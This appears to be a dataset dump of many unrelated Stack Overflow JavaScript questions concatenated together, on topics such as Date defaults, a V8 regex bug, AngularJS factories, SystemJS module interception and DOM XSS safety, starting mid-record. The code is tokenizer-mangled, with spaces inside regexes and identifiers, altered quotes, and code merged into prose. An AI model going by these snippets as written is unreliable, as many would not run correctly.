incremental and replacement in a one liner ? Backticks [ 0 ] .Folders [ 0 ] href = href.replace ( /\d+ ] $ /gi , matchedNumber++ ) ;",Increment last number in string "JS : I called new Date ( `` Jan 4 '' ) and found the default year is 2001Is there any way that I can set the default year to be 2011 ? update : I know that I can use + 2011but since I have some `` Jan 4 '' , and some `` Jan 4 , 2008 '' I only want to use 2011 for the former case.However , I realize that if you do Date ( `` Jan 4 , 2008 2011 '' ) the year will be 2008 but not 2011 . That 's just what I need.I will mark the first answer correct anyway . a=new Date ( `` Jan 4 '' ) Thu Jan 04 2001 00:00:00 GMT-0500 ( EST )","javascript : new date , missing year" "JS : I 've encountered a situation which works but I dont understand why . If I name an element id= '' abc '' and do console.log ( abc ) without setting it first , it gives me the HTML Object . Could anyone explain this behaviour ? ExampleI do n't know why it 's give me the whole element without using document.getElementById ( ) . < h1 Id= '' abc '' > abcdefghj < /h1 > < script > // without using document.getElementById console.log ( abc ) ; // Returns h1 element < /script >",String identitical to id of an element returns the element "JS : I have a pretty nifty tool , underscore-cli , that 's getting the strangest behavior when printing out the help / usage information.In the usage ( ) function , I do this to indent blocks of text ( eg , the options ) : This regex , in addition to being pretty obvious , comes straight out of TJ Hollowaychuk 's commander.js code . The regex is correct.Yet , I get bizzare spaces inserted into the middle of my usage text . like this:99 % chance , this HAS to be a bug in V8.Anyone know why this happens , or what the easiest work-around would be ? Yup , turns out this IS a V8 bug , 1748 to be exact . Here 's the workaround I used in the tool : str.replace ( /^/ , `` `` ) ; Commands : ... values Retrieve all the values of an object 's properties . extend & ltobject > Override properties in the input data . defaults & ltobject > Fill in missing properties in the input data . any & ltexp > Return 'true ' if any of the values in the input make the expression true . Expression args : ( value , key , list ) all & ltexp > Return 'true ' if all values in the input make the expression true . Expression args : ( value , key , list ) isObject Return 'true ' if the input data is an object with named properties isArray Return 'true ' if the input data is an array isString Return 'true ' if the input data is a string ... str.replace ( / ( ^|\n ) , `` $ 1 `` ) ;",Bug in JavaScript V8 regex engine when matching beginning-of-line ? "JS : This is not a duplicate question , i know how to create a rich editor , but i meet problemsI want to make a rich text box like stackoverflow does.I import the wmd plugin just like SO.When i save a topic to mysql , it saves the processed text like this : < p > hello world < /p > < pre > < code > class Text { } < /code > < /pre > This is normal i think because the html page can render this correctly . But When i try to edit this topic , it directly shows the code in my textarea : What i need is this ( Just like the first time i entered ) : My textarea code is very simple like this : Anyone can help ? Thanks . < ! -- text area start -- > < div id= '' wmd-button-bar '' > < /div > < textarea id= '' wmd-input '' name= '' description '' onblur= '' checkForm ( ) '' > $ { topic ? .description } < /textarea > < div id= '' wmd-preview '' > < /div > < ! -- text area end -- >",How does stackoverflow format textarea when click edit button ? "JS : Chrome 's array.map works fine , but jQuery 's .map produces a circular reference somehow . I ca n't see any evidence of a circular reference using console.log , but JSON.stringify throws Uncaught TypeError : Converting circular structure to JSON in the second block.Run it on JSFiddle : http : //jsfiddle.net/langdonx/vQBak/Or check the code : Yes , I 'm using the same callback , and yes ECMAScript 's map passes the arguments in a different order , but it should n't matter for this example , as they 're all simple types ( string , number ) . var callback = function ( index , element ) { return { `` index '' : index } ; } ; var array1 = [ `` 1 '' , `` 2 '' ] ; var mappedArray1 = array1.map ( callback ) ; console.log ( mappedArray1 ) ; var json1 = JSON.stringify ( mappedArray1 ) ; console.log ( json1 ) ; var jqueryArray2 = $ ( 'body > div ' ) ; var mappedArray2 = jqueryArray2.map ( callback ) ; console.log ( mappedArray2 ) ; var json2 = JSON.stringify ( mappedArray2 ) ; // Chokes with `` Uncaught TypeError : Converting circular structure to JSON '' console.log ( json2 ) ; ​",Why does $ ( ) .map Produces Circular Reference "JS : A colleague claims this is an incorrect way to inject a pure ES6 JavaScript class into Angular . I am curious if there is a better way ( more correct ) ? As an aside , is it better ( and why is it better ) to attach the injected dependencies ( $ timeout in this example ) to the instance ; e.g. , this._ $ timeout = $ timeout in the constructor . I personally think there is no advantage to doing that in this case.class.factory.jsapp.module.jsLater , elsewhere we may use the class in some service or controller , to construct new MyClass instances.app.service.js let ClassFactory = function ( $ timeout ) { // Factory function that simply returns class constructor . class MyClass { constructor ( a , b ) { // contrived class this.a = a ; this.b = b ; this.c = null ; } applyChange ( ) { // contrived class method const SELF = this ; $ timeout ( ( ) = > { SELF.c = SELF.a + SELF.b ; } ) ; } } return MyClass ; } ; ClassFactory. $ inject = [ ' $ timeout ' ] ; export default ClassFactory ; import ClassFactory from './factories/class.factory ' ; import AppService from './services/app.service ' ; export default angular.module ( 'myApp ' , [ ] ) .factory ( 'ClassFactory ' , ClassFactory ) .service ( 'AppService ' , AppService ) ; class AppService { // contrived usage of our dependency injected pure class . constructor ( ClassFactory ) { this.array = [ ] ; this._ClassFactory = ClassFactory ; } initialize ( a , b ) { // We can instantiate as many `` MyClass '' objects as we need . let myClass = new this._ClassFactory ( a , b ) ; this.array.push ( myClass ) ; } static serviceFactory ( ... injected ) { AppService.instance = new AppService ( ... injected ) ; return AppService.instance ; } } AppService.serviceFactory. $ inject = [ 'ClassFactory ' ] ; export default AppService.serviceFactory ;",Correct way to inject pure class into angular 1.x application in ES6 "JS : I 'm trying to run a widget inside an event handler.For some reason , the widget is n't triggered inside event handler function.This event belongs to List.js , widget is paging.js.var userList = new List ( 'users ' , options ) ; The $ ( ' # testTable ' ) .paging ( { limit:5 } ) ; row does get activated when search is completed - but for some reason it does n't run.JSFiddle example : http : //jsfiddle.net/gxb16cen/Any help ? userList.on ( 'searchComplete ' , function ( ) { $ ( ' # testTable ' ) .paging ( { limit:5 } ) ; } ) ; $ ( ' # testTable ' ) .paging ( { limit:5 } ) ;",Running a widget does n't work from a fired event of list.js "JS : I have several dialogs that open like thisThe issue is that I have hundreds of these dialogs . I do not want to manually have to create an open : attribute for each one . Is there any way I can monitor the entire document for a dialog open such as $ ( `` # dialog '' ) .load ( URL ) ; $ ( `` # dialog '' ) .dialog ( attributes , here , close : function ( e , u ) { cleanup } $ ( document ) .on ( `` open '' , '' # dialog '' , function ( ) { Do something } )",Detect when any dialog opens jQuery "JS : I am implementing a so called `` single page app '' which accepts JSON as input . That also means that all HTML is rendered in the browser , also all templates ( am using knockout ) are seemingly unaffected by user input , in the sense that the template is not constructed dynamically by the backend but rather embedded statically in the client . In other words , I do NOT anything like this : So all rendering of user content essentially boils down to these JS methods : So now the question would be : are these methods all 100 % XSS safe ? Or would there still be any way to trigger a XSS attack - and if `` yes '' , how could this be done ? echo ' < input type= '' text '' value= '' $ var '' > ' document.createTextNode ( userVar ) ; // for displaying static textinputElement.value = userVar ; // for populating input fieldsdocument.title = userVar ; // some user input can be reflected in the doc titlewindow.history.pushState = ... // no user input is set here directly , but there are URIs where this could be set using an outside link",Can these javascript methods be considered XSS safe ? "JS : I 'm new to Javascript . I 'm doing some image processing using canvas , and I 'm trying to create a new CanvasImageData object without actually referencing a specific Canvas.ie . ( from MSDN ) Is there a way to do this without an instance of Canvas ? If not is there a reason why ? Thanks ! oImageData = CanvasRenderingContext2D.createImageData ( vCSSWidth , vCSSHeight ) // Why ca n't I write : var image_data = CanvasRenderingContext2D.createImageData ( 50 , 50 ) ; // or : var image_data = CanvasRenderingContext2D.prototype.createImageData ( 50 , 50 ) ; // ? // Instead I must do : var canvas = document.createElement ( `` canvas '' ) ; var image_data = canvas.createImageData ( 50 , 50 ) ;",Creating a CanvasImageData object without an instance of canvas in JS "JS : In the console of both FF and Chrome , { } is considered undefined until explicitly evaluated : Actually , it 's a bit less defined than undefined -- it 's apparently bad syntax : But not if it 's on the other side , in which case it 's fine : Or if it 's not the first expression : What gives ? { } ; // undefined ( { } ) ; // ▶ Object { } === undefined ; // SyntaxError : Unexpected token === { } .constructor ; // SyntaxError : Unexpected token . `` [ object Object ] '' == { } .toString ( ) ; // true undefined + undefined ; // NaN { } + undefined ; // NaNundefined + { } ; // `` undefined [ object Object ] ''",When ( and why ) is { } undefined in a JavaScript console ? "JS : I am using the Javascript Module Pattern to try and implement C # enumeration-like functionality . I have two ways that I am currently thinking about implementing this functionality but I do not understand all the benefits or advantages of one way versus the other.Here is implementation 1 : And now implementation 2 : The main difference is in using a `` private '' variable vs a `` public '' property to store the enums . I would think implementation 1 is a little slower but I was not sure if keeping the enums as `` private '' reduced the memory usage . Can anyone explain the difference in memory footprint and performance for the two ( if any ) ? Any other suggestions/advice are appreciated . var MyApp = ( function ( app ) { // Private Variable var enums = { ActionStatus : { New : 1 , Open : 2 , Closed : 3 } } ; // Public Method app.getEnum = function ( path ) { var value = enums ; var properties = path.split ( ' . ' ) ; for ( var i = 0 , len = properties.length ; i < len ; ++i ) { value = value [ properties [ i ] ] ; } return value ; } ; return app ; } ) ( MyApp || { } ) ; // Example usagevar status = MyApp.getEnum ( `` ActionStatus.Open '' ) ; var MyApp = ( function ( app ) { // Public Property app.Enums = { ActionStatus : { New : 1 , Open : 2 , Closed : 3 } } ; return app ; } ) ( MyApp || { } ) ; // Example usagevar status = MyApp.Enums.ActionStatus.Open ;",Javascript Module Pattern Memory Footprint and Performance "JS : Edit : This is not the duplicate of how to pass params in setTimeout . Actually , I want to know how can write a function that would be called as a method on the predefined function just like the setTimeout API.So , How can I write an implementation for a function 'callAfter ' that enables any function to be called after some specified duration with certain parameters , with the following mentioned syntax : Example : Lets say you have a function called 'sum ' like so : Now you should be able to execute : sum.callAfter ( 5000 , 8 , 9 ) ; which should invoke the function 'sum ' after 5 seconds with parameters 8 and 9 . function sum ( a , b ) { console.log ( 'Sum is : ' , a + b ) ; }",Implementation for a function 'callAfter ' that enables any function to be called after some specified duration "JS : In my Angular app 's html , I could write this and it would indeed extract from the variable the `` title '' and show it on screen : Below works fine from my component.html : I want to do some code reuse and insert that to my component.ts I tried to refactor move the code to component.ts but get error : So I tried in my component.tsAnd then tried to simplify the html to be : but then I get error : InputformComponent.html:7 ERROR Error : InvalidPipeArgument : 'function ( ) { return this.app $ .map ( function ( state ) { return state.everyBootstrapThemeConfig.match ( 'title : `` ( . * ) '' ' ) [ 1 ] ; } ) ; } ' for pipe 'AsyncPipe ' at invalidPipeArgumentError ( common.js:4232 ) at AsyncPipe.push../node_modules/ @ angular/common/fesm5/common.js.AsyncPipe._selectStrategy ( common.js:4839 ) at AsyncPipe.push../node_modules/ @ angular/common/fesm5/common.js.AsyncPipe._subscribe ( common.js:4829 ) at AsyncPipe.push../node_modules/ @ angular/common/fesm5/common.js.AsyncPipe.transform ( common.js:4811 ) at Object.eval [ as updateDirectives ] ( InputformComponent.html:7 ) at Object.debugUpdateDirectives [ as updateDirectives ] ( core.js:11914 ) at checkAndUpdateView ( core.js:11307 ) at callViewAction ( core.js:11548 ) at execComponentViewsAction ( core.js:11490 ) at checkAndUpdateView ( core.js:11313 ) I 'm probably missing how to access the observable and return an observable of the field in getTitle ( ) < input matInput value= '' { { ( app $ | async ) .myTitle.match ( 'title : & quot ; ( . * ) & quot ; ' ) [ 1 ] } } '' placeholder= '' My Title '' # title > getTitle ( ) : Observable < string > { return this.app $ .map ( state = > { return state.myTitle.match ( 'title : & quot ; ( . * ) & quot ; ' ) [ 1 ] ; } ) ; } value= '' { { getTitle | async } }",How to write ngxs async observable interpolation in component.ts code instead of html ? "JS : I am now confused about ! operator in JavaScript . My understanding was ! operator operates only on boolean . But a comment to one of my answers says it can operate on anything and returns a boolean , which happened to be true after I did some tests.Can somebody help me generalize the behavior of ! operator.EDITEven more confusing stuff : How ? ​ alert ( ! undefined ) ; //truealert ( ! function ( ) { } ) ; //falsealert ( ! { } ) ; //falsealert ( ! null ) ; //truealert ( ! ( ) ) ; //crashalert ( ! `` false '' ) ; //falsealert ( ! false ) ​ ; ​​​​​​​​​​​​ //true​​​​​​​​​​​​​​​​​​ ​alert ( new String ( ) == `` '' ) ; //truealert ( ! `` `` ) ; //truealert ( ! new String ( ) ) ; //false",! operator in JavaScript "JS : I have the following : and then in my JavaScript , I have : The problem is that it 's not too snappy ( on an iPad ) as I press anchor tags . There is a noticeable lag between the time I press the anchor tag and the wav file plays.Q : Is there a source code only solution to playing sounds from JavaScript ? Clickdown.wav is only 1k . < audio id= '' clickdown-wav '' src= '' ClickDown.wav '' preload= '' auto '' > < /audio > var ClickDown = $ ( ' # clickdown-wav ' ) [ 0 ] ; $ ( document ) .delegate ( ' a ' , 'click ' , function ( ) { ClickDown.play ( ) ; } ) ;",How to play sounds in JavaScript "JS : I do n't like the , , here : Can I use some placeholders characters ? I 'd rather not introduce unused variables , I just want to make the code look clearer . Right now the only thing I can think about are comments : Any better ideas ? let colors = [ `` red '' , `` green '' , `` blue '' ] ; let [ , , thirdColor ] = colors ; let [ /*first*/ , /*second*/ , thirdColor ] = colors ;",What can I use as placeholders in es6 array destructuring ? "JS : This is my C # Code : HTML Code : Javascript Code : I want show 'username ' in text field but when form will be post I want to send 'ID ' . Instead of that I am getting username . public JsonResult FillUsers ( string term ) { var Retailers = from us in db.Users join pi in db.UserPersonalInfoes on us.ID equals pi.UserID into t from rt in t.DefaultIfEmpty ( ) where us.Status == true select new { ID = us.ID , Username = us.Username + `` : ( `` + ( rt == null ? String.Empty : rt.FirstName ) + `` ) '' } ; List < string > UsersList ; UsersList = Retailers.Where ( x = > x.Username.Contains ( term ) ) .Select ( y = > y.Username ) .Take ( 10 ) .ToList ( ) ; return Json ( UsersList , JsonRequestBehavior.AllowGet ) ; } < div class= '' col-md-3 '' > @ Html.TextBox ( `` ddlUser '' , null , new { @ id = `` ddlUser '' , @ class = `` form-control '' } ) < /div > < script type= '' text/javascript '' > $ ( function ( ) { $ ( `` # ddlUser '' ) .autocomplete ( { source : ' @ Url.Action ( `` FillUsers '' , `` FirebaseNotification '' ) ' , select : function ( event , ui ) { var id = ui.item.ID ; var name = ui.item.Username ; } } ) ; } ) ;",How to post value from autocomplete instead of text ? "JS : I 'm trying to create an application where circles are drawn onto the canvas through reading information from a Firebase database that stores the x and y coordinates of the circles . Executing the code below however , simply produces nothing , without any sign of the circles , because the function drawCricles runs asynchronously , and thus the command background ( 40 ) clears everything before the circles can be drawn . Here is my code : function setup ( ) { createCanvas ( windowWidth , windowHeight ) ; background ( 40 ) ; stroke ( 80 ) ; smooth ( ) ; frameRate ( 60 ) ; } function drawCircles ( ) { firebase.database ( ) .ref ( `` circles '' ) .once ( `` value '' , function ( snapshot ) { var snapshotVal = snapshot.val ( ) ; var circleCount = snapshotVal.numCircles ; for ( var j = 0 ; j < circleCount ; j++ ) { firebase.database ( ) .ref ( `` circles '' + j ) .once ( `` value '' , function ( snapshot ) { var snapshotValue = snapshot.val ( ) ; fill ( 143 , 2 , 2 ) ; ellipse ( snapshotValue.xPos , 50 , 50 ) ; } ) ; } } ) ; } function draw ( ) { stroke ( 80 ) ; background ( 40 ) ; stroke ( 0 ) ; drawCircles ( ) ; }",Firebase Javascript + P5.js : Asynchronous function getting in the way of redrawing the canvas "JS : In this code , the prototype can still change.How I can prevent changes to the prototype ? var a = { a:1 } var b= { b:1 } var c = Object.create ( a ) Object.getPrototypeOf ( c ) //ac.__proto__ = b ; Object.getPrototypeOf ( c ) //bvar d = Object.create ( null ) Object.getPrototypeOf ( d ) //nulld.__proto__ = b ; Object.getPrototypeOf ( d ) //null",How to prevent changes to a prototype ? "JS : I do n't want instantiate a class in each function . How to ? What should be the best practice to organize this in a Typescript syntax ? $ ( `` .container_dettaglio .varianti .variante a '' ) .click ( function ( event ) { event.preventDefault ( ) ; var pr = new Prodotto ( $ ( this ) .data ( 'variante ' ) ) ; pr.cambiaVariante ( ) ; } ) ; $ ( `` .meno '' ) .on ( 'click ' , function ( e ) { e.preventDefault ( ) ; var pr = new Prodotto ( $ ( this ) .data ( 'variante ' ) ) ; pr.rimuoviQuantita ( ) ; } ) ; $ ( `` .piu '' ) .on ( 'click ' , function ( e ) { e.preventDefault ( ) ; var pr = new Prodotto ( $ ( this ) .data ( 'variante ' ) ) ; pr.aggiungiQuantita ( ) ; } ) ;",Typescript & Jquery : what is the best practice to call a class into Jquery onclick function ? "JS : I am using the ZingChart library to graph results from an API call . When I pass in a normal array for the `` values '' field of the chart data object , everything works fine . However , when I pass in an array made from Object.keys ( titleSet ) ( where titleSet is a normal Javascript object ) , the graph displays as follows : Example ChartAs you can see , the x-axis is now labeled with numbers instead of the array of strings . But when I print out the the result of Object.keys ( titleSet ) vs. passing in a normal array , they both appear to be the same in the console . Can anyone help me figure out what I 'm doing wrong ? //List of movies inputted by the uservar movieList = [ ] ; var movieSet = { } ; var IMDBData = { `` values '' : [ ] , `` text '' : `` IMDB '' , } ; var metascoreData = { `` values '' : [ ] , `` text '' : `` Metascore '' } ; var RTMData = { `` values '' : [ ] , `` text '' : `` Rotten Tomatoes Meter '' } ; var RTUData = { `` values '' : [ ] , `` text '' : `` Rotten Tomatoes User '' } ; var chartData = { `` type '' : '' bar '' , `` legend '' : { `` adjust-layout '' : true } , `` plotarea '' : { `` adjust-layout '' : true } , `` plot '' : { `` stacked '' : true , `` border-radius '' : `` 1px '' , `` tooltip '' : { `` text '' : `` Rated % v by % plot-text '' } , `` animation '' : { `` effect '' : '' 11 '' , `` method '' : '' 3 '' , `` sequence '' : '' ANIMATION_BY_PLOT_AND_NODE '' , `` speed '' :10 } } , `` scale-x '' : { `` label '' : { /* Scale Title */ `` text '' : '' Movie Title '' , } , `` values '' : Object.keys ( movieSet ) /* Needs to be list of movie titles */ } , `` scale-y '' : { `` label '' : { /* Scale Title */ `` text '' : '' Total Score '' , } } , `` series '' : [ metascoreData , IMDBData , RTUData , RTMData ] } ; var callback = function ( data ) { var resp = JSON.parse ( data ) ; movieSet [ resp.Title ] = true ; //Render zingchart.render ( { id : 'chartDiv ' , data : chartData , } ) ; } ;",ZingChart X-axis labels showing as numbers instead of strings "JS : I have a SPA ( in Aurelia / TypeScript but that should not matter ) which uses SystemJS . Let 's say it runs at http : //spa:5000/app.It sometimes loads JavaScript modules like waterservice/external.js on demand from an external URL like http : //otherhost:5002/fetchmodule ? moduleId=waterservice.external.js . I use SystemJS.import ( url ) to do this and it works fine.But when this external module wants to import another module with a simple import { OtherClass } from './other-class ' ; this ( comprehensiblely ) does not work . When loaded by the SPA it looks at http : //spa:5000/app/other-class.js . In this case I have to intercept the path/location to redirect it to http : //otherhost:5002/fetchmodule ? moduleId=other-class.js.Note : The Typescript compilation for waterservice/external.ts works find because the typescript compiler can find ./other-class.ts easily . Obviously I can not use an absolute URL for the import.How can I intercept the module loading inside a module I am importing with SystemJS ? One approach I already tested is to add a mapping in the SystemJS configuration . If I import it like import { OtherClass } from 'other-class ' ; and add a mapping like `` other-class '' : `` http : //otherhost:5002/fetchmodule ? moduleId=other-class '' it works . But if this approach is good , how can I add mapping dynamically at runtime ? Other approaches like a generic load url interception are welcome too.UpdateI tried to intercept SystemJS as suggest by artem like thisThis would normally not change anything but produce some console output to see what is going on . Unfortunately this seems to do change something as I get an error Uncaught ( in promise ) TypeError : this.has is not a function inside system.js.Then I tried to add mappings with SystemJS.config ( { map : ... } ) ; . Surprisingly this function works incremental , so when I call it , it does not loose the already provided mappings . So I can do : This does not work with relative paths ( those which start with . or .. ) but if I put the shared ones in the root this works out.I would still prefer to intercept the loading to be able to handle more scenarios but at the moment I have no idea which has function is missing in the above approach . var systemLoader = SystemJS ; var defaultNormalize = systemLoader.normalize ; systemLoader.normalize = function ( name , parentName ) { console.error ( `` Intercepting '' , name , parentName ) ; return defaultNormalize ( name , parentName ) ; } System.config ( { map : { `` other-class '' : ` http : //otherhost:5002/fetchModule ? moduleId=other-class.js ` } } ) ;",JavaScript intercept module import "JS : I just stumbled upon this while deleting an object in an array.Here is the code : It is posted on jsfiddle as well.Basically , why does my first console.log of friends output : [ Object , Object ] But , when deleting that object in the loop and then adding a new object to the array , it logs : [ 1 : Object , 2 : Object ] What exactly does 1 : , 2 : mean ( obviously to associate for each object ) , but I wonder why it 's not there after the first logging of friends ? Is my object notation in my friends array wrong ? I feel like I 'm creating the initial friends array wrong and the JavaScript parser is correcting me ? friends = [ ] ; friends.push ( { a : 'Nexus ' , b : 'Muffin ' } , { a : 'Turkey ' , b : 'MonkMyster ' } ) console.log ( friends ) ; for ( i in friends ) { if ( friends [ i ] .a == 'Nexus ' ) { delete friends [ i ] ; friends.push ( { a : 'test ' , b : 'data ' } ) ; } } console.log ( friends ) ;","What is the difference between Object , Object and [ 1 : Object , 2 : Object ] ?" "JS : I have some text : Currently , if a user wants to highlight a word/term with the cursor , they will click and drag , letter by letter . I want this process to be quicker . For example , if the user starts to highlight At , it should auto highlight the rest of the word , Attack . So the empty space is the divider . I am aware this is possible by dividing the words into divs , but I am hoping for a solution with pure text within one < p > tag . < p class= '' drag '' > Hello world , Attack on Titan season two ! < /p >",How can I highlight a word/term quicker and smarter ? "JS : In plain JavaScript you can do : I am trying to do this with Scala.js . I tried the following three attempts , all of which failed : Attempt 1 : Use scalajs-angularProblem : MyConf must extend Config and I did not find any location where I could pass in parameters.Attempt 2 : Use scalajs-angulateThis should work , but I get a compiler error : not found : value jsAttempt 3 : Use the dynamically typed APICompiles , but the content inside the { } does not get called.The only way I can think of now is writing a javascript based `` Bridge '' which does something like : where com.example.myapp.MymoduleConfigurator is written in Scala.Is this the only way or is there a better approach ? angular.module ( 'mymodule ' , [ 'ionic ' ] ) .config ( function ( $ someParam1 , $ someParam2 ) { // do something with the parameters } Angular.module ( `` mymodule '' , Seq ( `` ionic '' ) ) .config ( MyConf ) Angular.module ( `` mymodule '' , Seq ( `` ionic '' ) ) .config ( ( a : Any , b : Any ) = > { ... } ) global.angular.module ( `` mymodule '' , Seq ( `` ionic '' ) ) .config ( ( a : Any , b : Any ) = > { ... } ) angular.module ( 'mymodule ' , [ 'ionic ' ] ) .config ( function ( $ a , $ b ) { com.example.myapp.MymoduleConfigurator.config ( $ a , $ b ) ; }",How to use AngularJS 's module config with Scala.js ? "JS : I have created a drop down menu that works , but i want it to be used to select filters . So the problem is when you select a filter option the drop down goes away . I only want the menu to display and go away when the word filters is selected . I think i just need so more javascript to do this i just dont know how . Thanks for your help in advance.Here is my html : CSS : JavaScript : < div id= '' vv '' class= '' fill_box '' > Filters < div class= '' dropdown1 '' > < div class= '' padding '' > < div class= '' type '' > < div class= '' typeTitle '' > Type : < /div > < div class= '' typeButton '' > < div class= '' typeOne '' > All < /div > < div class= '' typeOne '' > Local < /div > < div class= '' typeOne '' > Chain < /div > < /div > < /div > < div class= '' type '' > < div class= '' typeTitle '' > Price : < /div > < div class= '' typeButton '' > < div class= '' priceOne '' > $ < /div > < div class= '' priceOne '' > $ $ < /div > < div class= '' priceOne '' > $ $ $ < /div > < div class= '' priceOne '' > $ $ $ $ < /div > < /div > < /div > < div class= '' type '' > < div class= '' nowButton '' > Open Now < /div > < /div > < div class= '' type '' > < div class= '' typeTitle '' > Category 1 : < /div > < div class= '' categoryButton '' > < input type= '' text '' > < /div > < /div > < /div > < /div > < /div > .fill_box { position : relative ; margin : 0 auto ; background : # fff ; s border-radius : 5px ; box-shadow : 0 1px 0 rgba ( 0,0,0,0.2 ) ; cursor : pointer ; outline : none ; -webkit-transition : all 0.3s ease-out ; -moz-transition : all 0.3s ease-out ; -ms-transition : all 0.3s ease-out ; -o-transition : all 0.3s ease-out ; transition : all 0.3s ease-out ; text-align : center ; background : # CC0000 ; border : 2px solid white ; border-radius : 4px ; padding : 5px 0 ; margin-top : 10px ; font-size : 14px ; width : 100px ; color : white ; } .fill_box .dropdown1 { overflow : hidden ; margin : 0 auto ; padding : 0px ; background : white ; border-radius : 0 0 0px 0px ; border : 1px solid rgba ( 0,0,0,0.2 ) ; border-top : none ; border-bottom : none ; list-style : none ; -webkit-transition : all 0.3s ease-out ; -moz-transition : all 0.3s ease-out ; -ms-transition : all 0.3s ease-out ; -o-transition : all 0.3s ease-out ; transition : all 0.3s ease-out ; text-align : left ; max-height : 0 ; background : # 3d3d3d ; width : 300px ; color : white ; } function DropDown1 ( me ) { this.dd = me ; this.initEvents ( ) ; } DropDown1.prototype = { initEvents : function ( ) { var obj = this ; obj.dd.on ( 'click ' , function ( event ) { $ ( this ) .toggleClass ( 'active ' ) ; } ) ; } } $ ( function ( ) { var dd = new DropDown1 ( $ ( ' # vv ' ) ) ; $ ( document ) .click ( function ( ) { // all DropDown1s $ ( '.fill_box ' ) .show ( 'active ' ) ; } ) ; } ) ;",JavaScript Drop Down Menu "JS : I have a page that when a user clicks a title , the following div toggles display.I want to somehow say if any other divs are display : block then set them to display none first.I thought maybe I could do it this way but I think 'm using this in the wrong context . Code does n't do anything worthwhile.HTML : JQUERY : < div id= '' recordbox '' class= '' home '' style= '' z-index : 2 ; background : # f2f2f2 ; '' > < div class= '' jlkb '' > < /div > < div id= '' recordlist '' > < div class= '' jlmain j1 '' > < div class= '' jlhead '' > < div class= '' jlleft '' > < li > 存款金额 : 10.00 < /li > < a > 2016-09-21 18:39:02 < /a > < /div > < div class= '' jlright '' > < li class= '' '' > < /li > < /div > < /div > < div class= '' jldetail '' style= '' display : none '' > < p > 充值方式:在线订单号:20160921183902323 < /p > < p > 状态:待支付 < /p > < /div > < /div > < /div > < /div > function BindList ( ) { $ ( `` .jlmain '' ) .unbind ( `` click '' ) ; $ ( `` .jlmain '' ) .click ( function ( ) { $ ( this ) .find ( `` .jlright li '' ) .toggleClass ( `` jlmain1 '' ) ; $ ( this ) .find ( `` .jldetail '' ) .slideToggle ( `` fast '' ) ; } ) }",Onclick slidetoggle div to open slide "JS : I have a wasm process ( compiled from c++ ) that processes data inside a web application . Let 's say the necessary code looks like this : This code basically `` runs/processes a query '' similar to a SQL query interface : However , queries may take several minutes to run/process and at any given time the user may cancel their query . The cancellation process would occur in the normal javascript/web application , outside of the service Worker running the wasm.My question then is what would be an example of how we could know that the user has clicked the 'cancel ' button and communicate it to the wasm process so that knows the process has been cancelled so it can exit ? Using the worker.terminate ( ) is not an option , as we need to keep all the loaded data for that worker and can not just kill that worker ( it needs to stay alive with its stored data , so another query can be run ... ) .What would be an example way to communicate here between the javascript and worker/wasm/c++ application so that we can know when to exit , and how to do it properly ? Additionally , let us suppose a typical query takes 60s to run and processes 500MB of data in-browser using cpp/wasm.Update : I think there are the following possible solutions here based on some research ( and the initial answers/comments below ) with some feedback on them : Use two workers , with one worker storing the data and another worker processing the data . In this way the processing-worker can be terminated , and the data will always remain . Feasible ? Not really , as it would take way too much time to copy over ~ 500MB of data to the webworker whenever it starts . This could have been done ( previously ) using SharedArrayBuffer , but its support is now quite limited/nonexistent due to some security concerns . Too bad , as this seems like by far the best solution if it were supported ... Use a single worker using Emterpreter and using emscripten_sleep_with_yield . Feasible ? No , destroys performance when using Emterpreter ( mentioned in the docs above ) , and slows down all queries by about 4-6x.Always run a second worker and in the UI just display the most recent . Feasible ? No , would probably run into quite a few OOM errors if it 's not a shared data structure and the data size is 500MB x 2 = 1GB ( 500MB seems to be a large though acceptable size when running in a modern desktop browser/computer ) .Use an API call to a server to store the status and check whether the query is cancelled or not . Feasible ? Yes , though it seems quite heavy-handed to long-poll with network requests every second from every running query.Use an incremental-parsing approach where only a row at a time is parsed . Feasible ? Yes , but also would require a tremendous amount of re-writing the parsing functions so that every function supports this ( the actual data parsing is handled in several functions -- filter , search , calculate , group by , sort , etc . etc.Use IndexedDB and store the state in javascript . Allocate a chunk of memory in WASM , then return its pointer to JavaScript . Then read database there and fill the pointer . Then process your data in C++ . Feasible ? Not sure , though this seems like the best solution if it can be implemented . [ Anything else ? ] In the bounty then I was wondering three things : If the above six analyses seem generally valid ? Are there other ( perhaps better ) approaches I 'm missing ? Would anyone be able to show a very basic example of doing # 6 -- seems like that would be the best solution if it 's possible and works cross-browser . std : :vector < JSONObject > datafor ( size_t i = 0 ; i < data.size ( ) ; i++ ) { process_data ( data [ i ] ) ; if ( i % 1000 == 0 ) { bool is_cancelled = check_if_cancelled ( ) ; if ( is_cancelled ) { break ; } } }",How to cancel a wasm process from within a webworker "JS : I have something similar to this : So , But if I doIs it possible to preserve the context of `` this '' inside `` a.c ( ) '' without changing ( too much ) the structure of `` a '' object ? I do n't have the control of the function 's call , so I 'd need a workaround to deal with this inside the object itself.UPDATE : To be more specific , this is the structure of my files : Structure 1 ( singleton like pattern ) : Structure 2 : SOLUTION : I have implemented a solution based on Mahout 's answer , spliting the return statement inside init ( ) , so it remains safe for the object context ( and the instance ) under any situation.For singleton pattern : For object literal : So var a = ( function ( ) { return { b : 1 , c : function ( ) { console.log ( this.b ) ; } } ; } ) ( ) ; a.c ( ) ; // = 1 b = 2 ; a.c.apply ( this ) ; // = 2 var a = ( function ( ) { var _instance ; function init ( ) { return { b : 1 , c : function ( ) { console.log ( this.b ) ; } } ; } return { getInstance : function ( ) { if ( _instance === undefined ) { _instance = init ( ) ; } return _instance ; } } } ) ( ) ; var b = { c : 1 , d : function ( ) { console.log ( this.c ) ; } } ; var a = ( function ( ) { var _instance , self ; function init ( ) { return self = { b : 1 , c : function ( ) { console.log ( self.b ) ; } } ; } return { getInstance : function ( ) { if ( _instance === undefined ) { _instance = init ( ) ; } return _instance ; } } ; } ) ( ) ; var b = ( function ( ) { var self ; return self = { c : 1 , d : function ( ) { console.log ( self.c ) ; } } ; } ) ( ) ; a.getInstance ( ) .c ( ) ; // 1a.getInstance ( ) .c.apply ( this ) ; // 1setTimeout ( a.getInstance ( ) .c , 1 ) ; // 1 $ .ajax ( { complete : a.getInstance ( ) .c } ) ; // 1",How to preserve javascript `` this '' context inside singleton pattern ? "JS : I 'm working on a PHP-MySQL web app , and the available tools for server load testing are cumbersome and confusing . So I thought I 'd try this , and I 'd like to know if it 's a bad idea : Add page generation time and memory_get_usage ( ) to the output of each pageUse jQuery , AJAX and setInterval to hit the page n-times a second , recording the time/memory consumption.Here is the Javascript and markup : Is this an incredibly stupid/inaccurate way to do load testing ? Because it seems like it has its advantages 